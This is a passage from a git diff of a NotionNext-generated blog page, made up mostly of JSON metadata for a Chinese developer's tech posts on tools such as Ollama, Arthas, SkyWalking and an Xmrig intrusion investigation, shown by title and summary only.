fbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"begin"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a59